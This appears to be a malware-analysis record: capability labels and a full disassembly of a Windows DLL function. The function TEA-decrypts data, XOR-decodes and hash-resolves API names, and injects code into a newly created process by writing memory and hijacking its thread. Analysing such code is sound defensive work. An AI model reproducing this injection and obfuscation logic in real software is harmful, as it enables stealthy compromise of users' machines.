Function at 0x1800010f0
Capabilities:
Decrypt data using tea
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x5d8]
sub rsp, 0x6c0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x180005008]
xor rax, rsp
mov qword [rbp + 0x5a8], rax
xor ebx, ebx
cmp edx, 1
jne 0x18000198f
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea ecx, [rbx + 8]
call fcn.180001c68
mov rsi, rax
mov qword [rsp + 0x70], rax
lea r12, [rax + 8]
mov qword [rbp - 0x80], r12
movabs rax, 0x9090909090909090
mov qword [rsi], rax
mov qword [rsp + 0x78], r12
mov eax, dword [0x180005038]
mov dword [rsi], eax
mov edx, eax
mov r8d, dword [rsi + 4]
mov r9d, 0xc6ef3720
mov r11d, dword [str.43izYp0iogjlk209]
mov edi, dword [0x180005044]
mov r14d, dword [0x180005048]
mov r15d, dword [0x18000504c]
lea r10d, [rbx + 0x20]
nop dword [rax + rax]
mov ecx, edx
shr ecx, 5
add ecx, r15d
mov eax, edx
shl eax, 4
add eax, r14d
xor ecx, eax
lea eax, [r9 + rdx]
xor ecx, eax
sub r8d, ecx
mov ecx, r8d
shr ecx, 5
add ecx, edi
mov eax, r8d
shl eax, 4
add eax, r11d
xor ecx, eax
lea eax, [r9 + r8]
xor ecx, eax
sub edx, ecx
lea r9d, [r9 + 0x61c88647]
sub r10, 1
jne 0x1800011a0
mov dword [rsi], edx
mov dword [rsi + 4], r8d
movsd xmm0, qword [str.VXOSXQ]
movsd qword [rbp + 0x4d0], xmm0
movzx eax, word [0x180003290]
mov word [rbp + 0x4d8], ax
lea rdx, [rbp + 0x4d0]
lea rcx, str._s:
call fcn.180001bc0
xor byte [rbp + 0x4d0], 0x3d
xor byte [rbp + 0x4d1], 0x3d
xor byte [rbp + 0x4d2], 0x3d
xor byte [rbp + 0x4d3], 0x3d
xor byte [rbp + 0x4d4], 0x3d
xor byte [rbp + 0x4d5], 0x3d
xor byte [rbp + 0x4d6], 0x3d
xor byte [rbp + 0x4d7], 0x3d
xor byte [rbp + 0x4d8], 0x3d
movsd xmm0, qword [str.kTOIHQQQR]
movsd qword [rbp + 0x4e0], xmm0
mov eax, dword [0x1800032a0]
mov dword [rbp + 0x4e8], eax
movzx eax, byte [0x1800032a4]
mov byte [rbp + 0x4ec], al
lea rdx, [rbp + 0x4e0]
lea rcx, str._s:
call fcn.180001bc0
mov rax, rbx
nop dword [rax + rax]
xor byte [rbp + rax + 0x4e0], 0x3d
inc rax
cmp rax, 0xc
jl 0x1800012a0
mov edx, 0x32
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strnlen]
mov edi, 0xdeadbeef
mov edx, edi
mov r9, rbx
test rax, rax
je 0x180001304
nop dword [rax]
nop word [rax + rax]
movsx r8d, byte [rbp + r9 + 0x4e0]
imul ecx, edx, 0x2b3c4d
add r8d, ecx
and r8d, 0xffffff
add edx, r8d
inc r9
cmp r9, rax
jb 0x1800012e0
lea rcx, [rbp + 0x4d0]
call section..text
mov edx, 4
xor ecx, ecx
lea r9d, [rdx + 0x3c]
mov r8d, 0x3000
call rax
mov r15, rax
movzx ecx, byte [rsi]
mov byte [rax], cl
movzx ecx, byte [rsi + 1]
mov byte [rax + 1], cl
movzx ecx, byte [rsi + 2]
mov byte [rax + 2], cl
movzx ecx, byte [rsi + 3]
mov byte [rax + 3], cl
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
mov dword [rbp - 0xc], eax
mov dword [rbp - 0x70], 0x44
movups xmm0, xmmword [str.OXIXmORXNN]
movups xmmword [rbp + 0x588], xmm0
lea rdx, [rbp + 0x588]
lea rcx, str._s:
call fcn.180001bc0
mov rax, rbx
nop dword [rax + rax]
xor byte [rbp + rax + 0x588], 0x3d
inc rax
cmp rax, 0xf
jl 0x180001390
mov edx, 0x32
lea rcx, [rbp + 0x588]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strnlen]
mov edx, edi
mov r9, rbx
test rax, rax
je 0x1800013e4
nop dword [rax]
movsx r8d, byte [rbp + r9 + 0x588]
imul ecx, edx, 0x2b3c4d
add r8d, ecx
and r8d, 0xffffff
add edx, r8d
inc r9
cmp r9, rax
jb 0x1800013c0
lea rcx, [rbp + 0x4d0]
call section..text
mov r14, rax
movsd xmm0, qword [str.OHSYQQ]
movsd qword [rbp + 0x500], xmm0
mov ecx, dword [0x1800032c0]
mov dword [rbp + 0x508], ecx
movzx ecx, byte [0x1800032c4]
mov byte [rbp + 0x50c], cl
lea rdx, [rbp + 0x500]
lea rcx, str._s:
call fcn.180001bc0
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
xor byte [rbp + rcx + 0x500], 0x3d
inc rcx
cmp rcx, 0xc
jl 0x180001440
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x500]
xor ecx, ecx
call r14
test eax, eax
je 0x18000181d
mov dword [rbp + 0x30], 0x10003
movdqu xmm0, xmmword [str.zXIiUOXYRSIXEI]
movups xmmword [rbp + 0x540], xmm0
movzx eax, byte [0x1800032d8]
mov byte [rbp + 0x550], al
lea rdx, [rbp + 0x540]
lea rcx, str._s:
call fcn.180001bc0
movdqa xmm6, xmmword [str._]
movdqa xmm1, xmm6
movdqu xmm0, xmmword [rbp + 0x540]
xorps xmm1, xmm0
movdqu xmmword [rbp + 0x540], xmm1
mov edx, 0x32
lea rcx, [rbp + 0x540]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strnlen]
mov edx, edi
mov r9, rbx
test rax, rax
je 0x180001534
nop word [rax + rax]
movsx r8d, byte [rbp + r9 + 0x540]
imul ecx, edx, 0x2b3c4d
add r8d, ecx
and r8d, 0xffffff
add edx, r8d
inc r9
cmp r9, rax
jb 0x180001510
lea rcx, [rbp + 0x4d0]
call section..text
lea rdx, [rbp]
mov rcx, qword [rsp + 0x60]
call rax
movups xmm0, xmmword [str.kTOIHQQQRxE]
movups xmmword [rbp + 0x598], xmm0
lea rdx, [rbp + 0x598]
lea rcx, str._s:
call fcn.180001bc0
mov rax, rbx
nop
xor byte [rbp + rax + 0x598], 0x3d
inc rax
cmp rax, 0xf
jl 0x180001570
mov edx, 0x32
lea rcx, [rbp + 0x598]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strnlen]
mov edx, edi
mov r9, rbx
test rax, rax
je 0x1800015c4
nop dword [rax]
movsx r8d, byte [rbp + r9 + 0x598]
imul ecx, edx, 0x2b3c4d
add r8d, ecx
and r8d, 0xffffff
add edx, r8d
inc r9
cmp r9, rax
jb 0x1800015a0
lea rcx, [rbp + 0x4d0]
call section..text
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x1000
lea r8d, [rdx + 4]
mov rcx, qword [rsp + 0x58]
call rax
mov r14, rax
movdqu xmm0, xmmword [str.jOTIXmORXNNpXPROD]
movups xmmword [rbp + 0x528], xmm0
mov ecx, dword [0x180003300]
mov dword [rbp + 0x538], ecx
lea rdx, [rbp + 0x528]
lea rcx, str._s:
call fcn.180001bc0
movdqa xmm1, xmm6
movdqu xmm0, xmmword [rbp + 0x528]
xorps xmm1, xmm0
movdqu xmmword [rbp + 0x528], xmm1
mov eax, 0x10
nop dword [rax + rax]
xor byte [rbp + rax + 0x528], 0x3d
inc rax
cmp rax, 0x13
jl 0x180001640
mov edx, 0x32
lea rcx, [rbp + 0x528]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strnlen]
mov edx, edi
mov r10, rbx
test rax, rax
je 0x180001694
nop dword [rax]
movsx r8d, byte [rbp + r10 + 0x528]
imul ecx, edx, 0x2b3c4d
add r8d, ecx
and r8d, 0xffffff
add edx, r8d
inc r10
cmp r10, rax
jb 0x180001670
lea rcx, [rbp + 0x4d0]
call section..text
mov qword [rsp + 0x20], rbx
mov r9d, 4
mov r8, r15
mov rdx, r14
mov rcx, qword [rsp + 0x58]
call rax
mov qword [rbp + 0xf8], r14
movdqu xmm0, xmmword [str.nXIiUOXYRSIXEI]
movups xmmword [rbp + 0x558], xmm0
movzx eax, byte [0x180003318]
mov byte [rbp + 0x568], al
lea rdx, [rbp + 0x558]
lea rcx, str._s:
call fcn.180001bc0
movdqu xmm0, xmmword [rbp + 0x558]
xorps xmm6, xmm0
movdqu xmmword [rbp + 0x558], xmm6
mov edx, 0x32
lea rcx, [rbp + 0x558]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strnlen]
mov edx, edi
mov r9, rbx
test rax, rax
je 0x180001744
nop dword [rax]
movsx r8d, byte [rbp + r9 + 0x558]
imul ecx, edx, 0x2b3c4d
add r8d, ecx
and r8d, 0xffffff
add edx, r8d
inc r9
cmp r9, rax
jb 0x180001720
lea rcx, [rbp + 0x4d0]
call section..text
lea rdx, [rbp]
mov rcx, qword [rsp + 0x60]
call rax
movsd xmm0, qword [str.oXNHPXiUOXY]
movsd qword [rbp + 0x4f0], xmm0
mov eax, dword [0x180003328]
mov dword [rbp + 0x4f8], eax
movzx eax, word [0x18000332c]
mov word [rbp + 0x4fc], ax
lea rdx, [rbp + 0x4f0]
lea rcx, str._s:
call fcn.180001bc0
mov rax, rbx
nop dword [rax + rax]
xor byte [rbp + rax + 0x4f0], 0x3d
inc rax
cmp rax, 0xd
jl 0x1800017a0
mov edx, 0x32
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strnlen]
mov edx, edi
mov r9, rbx
test rax, rax
je 0x1800017f4
nop dword [rax]
movsx r8d, byte [rbp + r9 + 0x4f0]
imul ecx, edx, 0x2b3c4d
add r8d, ecx
and r8d, 0xffffff
add edx, r8d
inc r9
cmp r9, rax
jb 0x1800017d0
lea rcx, [rbp + 0x4d0]
call section..text
mov rcx, qword [rsp + 0x60]
call rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqu xmm0, xmmword [str.zXIHOOXSImORXNN]
movups xmmword [rbp + 0x510], xmm0
movzx eax, word [0x180003340]
mov word [rbp + 0x520], ax
lea rdx, [rbp + 0x510]
lea rcx, str._s:
call fcn.180001bc0
movdqa xmm6, xmmword [str._]
movdqa xmm1, xmm6
movdqu xmm0, xmmword [rbp + 0x510]
xorps xmm1, xmm0
movdqu xmmword [rbp + 0x510], xmm1
xor byte [rbp + 0x520], 0x3d
mov edx, 0x32
lea rcx, [rbp + 0x510]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strnlen]
mov edx, edi
mov r9, rbx
test rax, rax
je 0x1800018b4
nop
movsx r8d, byte [rbp + r9 + 0x510]
imul ecx, edx, 0x2b3c4d
add r8d, ecx
and r8d, 0xffffff
add edx, r8d
inc r9
cmp r9, rax
jb 0x180001890
lea rcx, [rbp + 0x4d0]
call section..text
mov r14, rax
movdqu xmm0, xmmword [str.iXOPTSIXmORXNN]
movups xmmword [rbp + 0x570], xmm0
movzx r8d, byte [0x180003358]
mov byte [rbp + 0x580], r8b
lea rdx, [rbp + 0x570]
lea rcx, str._s:
call fcn.180001bc0
movdqu xmm0, xmmword [rbp + 0x570]
xorps xmm6, xmm0
movdqu xmmword [rbp + 0x570], xmm6
mov edx, 0x32
lea rcx, [rbp + 0x570]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strnlen]
test rax, rax
je 0x180001944
nop
movsx r8d, byte [rbp + rbx + 0x570]
imul ecx, edi, 0x2b3c4d
add r8d, ecx
and r8d, 0xffffff
add edi, r8d
inc rbx
cmp rbx, rax
jb 0x180001920
mov edx, edi
lea rcx, [rbp + 0x4d0]
call section..text
mov rbx, rax
call r14
mov rcx, rax
xor edx, edx
call rbx
nop
sub r12, rsi
cmp r12, 0x1000
jb 0x180001984
add r12, 0x27
mov rcx, qword [rsi - 8]
sub rsi, rcx
lea rax, [rsi - 8]
cmp rax, 0x1f
ja 0x1800019c9
mov rsi, rcx
mov rdx, r12
mov rcx, rsi
call fcn.180001c60
mov eax, 1
mov rcx, qword [rbp + 0x5a8]
xor rcx, rsp
call fcn.180001c40
lea r11, [rsp + 0x6c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3